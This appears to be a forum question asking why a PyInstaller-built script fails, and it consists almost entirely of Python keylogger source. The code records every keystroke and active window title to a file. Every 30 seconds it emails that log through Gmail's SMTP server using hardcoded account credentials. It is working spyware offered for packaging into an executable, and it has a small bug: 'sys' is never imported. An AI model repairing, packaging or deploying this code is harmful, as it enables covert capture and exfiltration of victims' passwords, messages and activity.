[pyinstaller] I set the path, but an error appears (failed to execute script)

import os
import getpass
import ctypes
import smtplib
import time
from datetime import datetime
from threading import Thread
from pynput.keyboard import Key, Listener

def resource_path(relative_path):
    try:
        # Functions that access temporary folders when executed in temporary folders by PyInstaller
        base_path = sys._MEIPASS
    except Exception:
        base_path = os.path.abspath(".")
    return os.path.join(base_path, relative_path)

username = getpass.getuser()
now = datetime.now()
now = str(now).split()[0]

basic = open(resource_path('data.txt'), mode="at", encoding="utf-8")
basic.write(username + "/" + now + "\n")
basic.close()

def gettitle():
    lib = ctypes.windll.LoadLibrary('user32.dll')
    handle = lib.GetForegroundWindow() #Handled Active Window
    buffer = ctypes.create_unicode_buffer(255) #Buffer to store the title
    lib.GetWindowTextW(handle, buffer, ctypes.sizeof(buffer)) # Save Title to Buffer

    return buffer.value # buffer return

def wintitle():
    oldtitle = gettitle()
    while True:
        time.sleep(0.1)
        if gettitle() != oldtitle:
            logger("\n" + "///" + gettitle() + "///" + "\n")
        oldtitle = gettitle()

def logger(key):
    key = str(key).replace("'", "")
    f = open(resource_path('data.txt'), mode="at", encoding="utf-8")
    f.write(key + "\n")
    f.close()

def on_press(key):
    logger(key)
    print(key)    

def main2():

    sender = '[email protected]' # Sender Email
    receiver = '[email protected]' # Recipient email (same because they will send to themselves)
    username = '[email protected]' #Your Google Account ID
    password = 'xxx' # Your Google Account Password

    log = open(resource_path('data.txt'), mode='r', encoding='utf-8').read().encode()

    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(sender, receiver, log)
    server.quit()

if __name__ == "__main__":
    main2()

def FSC():
    while True:
        time.sleep(30)
        print("TIME PASS")
        main2()

def main():         
    with Listener(on_press=on_press) as listener:
        listener.join()

mainThread = Thread(target=main)
titleThread = Thread(target=wintitle)
FSCThread = Thread(target=FSC)

mainThread.start()
titleThread.start()
FSCThread.start()